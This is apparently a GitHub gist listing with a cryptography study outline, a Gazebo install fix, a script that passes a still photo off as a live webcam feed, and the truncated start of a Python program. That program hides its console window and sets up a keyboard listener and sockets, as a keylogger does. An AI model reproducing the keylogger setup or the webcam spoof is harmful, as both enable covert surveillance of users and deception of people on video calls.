Skip to content

Instantly share code, notes, and snippets.

@astroanax
astroanax / cryptattacc.py
Last active September 27, 2025 06:27
hacc the mathhh
#1. Intro to sagemath
# - number theory
# https://doc.sagemath.org/html/en/thematic_tutorials/numtheory_rsa.html#numtheory-rsa
# - latex
# https://doc.sagemath.org/html/en/tutorial/latex.html
# - abelian group
# https://doc.sagemath.org/html/en/tutorial/tour_groups.html
# - algebraic geometry
# https://doc.sagemath.org/html/en/tutorial/tour_advanced.html#algebraic-geometry
# - elliptic curves
@astroanax
astroanax / gazebo ionic arch linux fix
Last active July 3, 2025 11:26
fix for gazebo ionic install on arch linux - fixed pybind include errors
modify /usr/lib/python3.13/site-packages/pybind11/share/cmake/pybind11/pybind11Targets.cmake
INTERFACE_INCLUDE_DIRECTORIES "/usr/lib/python3.13/site-packages/pybind11/include"
#INTERFACE_INCLUDE_DIRECTORIES "${_IMPORT_PREFIX}/include"
@astroanax
astroanax / fake-cam.sh
Last active June 28, 2025 16:05
hecker
#!/usr/bin/env bash
# sudo modprobe v4l2loopback
ffmpeg -re -stream_loop -1 -i ~/Pictures/Webcam/output.mp4 -vf format=yuv420p -map 0:v -f v4l2 /dev/video2
# notes
# make vid by ffmpeg -framerate 1 -i input.jpg -c:v libx264 -r 30 output.mp4 where input.jpg is ur photo
import socket
from threading import *
from pynput.keyboard import Key, Listener
import win32console, win32gui
window=win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)